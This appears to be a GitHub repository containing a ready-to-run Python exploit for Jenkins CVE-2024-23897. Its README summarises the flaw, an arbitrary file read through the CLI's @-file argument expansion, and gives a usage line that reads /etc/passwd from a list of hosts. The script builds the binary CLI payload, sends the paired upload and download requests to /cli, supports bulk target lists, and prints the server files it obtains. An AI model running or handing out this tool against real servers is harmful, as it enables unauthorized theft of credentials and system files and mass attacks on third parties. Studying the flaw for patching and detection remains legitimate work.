├── image.png
├── README.md
└── CVE-2024-23897.py


/image.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/codewithsadaf/CVE-2024-23897/HEAD/image.png


--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
 1 | # CVE-2024-23897
 2 | Jenkins CVE-2024-23897: Arbitrary File Read Vulnerability Leading to RCE
 3 | 
 4 | Jenkins uses the args4j library to parse command arguments and options on the Jenkins controller when processing CLI commands. This command parser has a feature that replaces an @ character followed by a file path in an argument with the file’s contents (expandAtFiles). This feature is enabled by default and Jenkins 2.441 and earlier, LTS 2.426.2 and earlier does not disable it.
 5 | 
 6 | This allows attackers to read arbitrary files on the Jenkins controller file system using the default character encoding of the Jenkins controller process.
 7 | 
 8 | Attackers with Overall/Read permission can read entire files.
 9 | 
10 | Attackers without Overall/Read permission can read the first few lines of files. The number of lines that can be read depends on available CLI commands. As of publication of this advisory, the Jenkins security team has found ways to read the first three lines of files in recent releases of Jenkins without having any plugins installed, and has not identified any plugins that would increase this line count.
11 | 
12 | 
13 | more Info : 
14 | https://www.jenkins.io/security/advisory/2024-01-24/
15 | 
16 | run : `python CVE-2024-23897.py -l host.txt -f /etc/passwd`
17 | 
18 | ![image](https://github.com/h4x0r-dz/CVE-2024-23897/assets/26070859/9b547349-1783-42a9-9a02-588ab04f4d68)
19 | 


--------------------------------------------------------------------------------
/CVE-2024-23897.py:
--------------------------------------------------------------------------------
 1 | import argparse
 2 | import threading
 3 | import http.client
 4 | import uuid
 5 | import urllib.parse
 6 | 
 7 | # Color constants
 8 | RED = '\033[91m'
 9 | GREEN = '\033[92m'
10 | YELLOW = '\033[93m'
11 | ENDC = '\033[0m'
12 | 
13 | def format_url(url):
14 |     if not url.startswith('http://') and not url.startswith('https://'):
15 |         url = 'http://' + url
16 |     return url
17 | 
18 | def send_download_request(target_info, uuid_str):
19 |     try:
20 |         conn = http.client.HTTPConnection(target_info.netloc)
21 |         conn.request("POST", "/cli?remoting=false", headers={
22 |             "Session": uuid_str,
23 |             "Side": "download"
24 |         })
25 |         response = conn.getresponse().read()
26 |         print(f"{GREEN}RESPONSE from {target_info.netloc}:{ENDC} {response}")
27 |     except Exception as e:
28 |         print(f"{RED}Error in download request:{ENDC} {str(e)}")
29 | 
30 | def send_upload_request(target_info, uuid_str, data):
31 |     try:
32 |         conn = http.client.HTTPConnection(target_info.netloc)
33 |         conn.request("POST", "/cli?remoting=false", headers={
34 |             "Session": uuid_str,
35 |             "Side": "upload",
36 |             "Content-type": "application/octet-stream"
37 |         }, body=data)
38 |     except Exception as e:
39 |         print(f"{RED}Error in upload request:{ENDC} {str(e)}")
40 | 
41 | def launch_exploit(target_url, file_path):
42 |     formatted_url = format_url(target_url)
43 |     target_info = urllib.parse.urlparse(formatted_url)
44 |     uuid_str = str(uuid.uuid4())
45 |     data = b'\x00\x00\x00\x06\x00\x00\x04help\x00\x00\x00\x0e\x00\x00\x0c@' + file_path.encode() + b'\x00\x00\x00\x05\x02\x00\x03GBK\x00\x00\x00\x07\x01\x00\x05en_US\x00\x00\x00\x00\x03'
46 | 
47 |     upload_thread = threading.Thread(target=send_upload_request, args=(target_info, uuid_str, data))
48 |     download_thread = threading.Thread(target=send_download_request, args=(target_info, uuid_str))
49 | 
50 |     upload_thread.start()
51 |     download_thread.start()
52 | 
53 |     upload_thread.join()
54 |     download_thread.join()
55 | 
56 | def process_target_list(file_list, file_path):
57 |     with open(file_list, 'r') as file:
58 |         targets = [format_url(line.strip()) for line in file.readlines()]
59 | 
60 |     for target in targets:
61 |         print(f"{YELLOW}Processing target:{ENDC} {target}")
62 |         launch_exploit(target, file_path)
63 | 
64 | def main():
65 |     parser = argparse.ArgumentParser(description='Exploit script for CVE-2024-23897.')
66 |     parser.add_argument('-u', '--url', help='Single target URL.')
67 |     parser.add_argument('-l', '--list', help='File with list of target hosts.')
68 |     parser.add_argument('-f', '--file', required=True, help='File path to read from the server.')
69 | 
70 |     args = parser.parse_args()
71 | 
72 |     if args.url:
73 |         launch_exploit(args.url, args.file)
74 |     elif args.list:
75 |         process_target_list(args.list, args.file)
76 |     else:
77 |         print(f"{RED}Error:{ENDC} Please provide a single target URL (-u) or a list of targets (-l).")
78 | 
79 | if __name__ == "__main__":
80 |     main()
81 | 


--------------------------------------------------------------------------------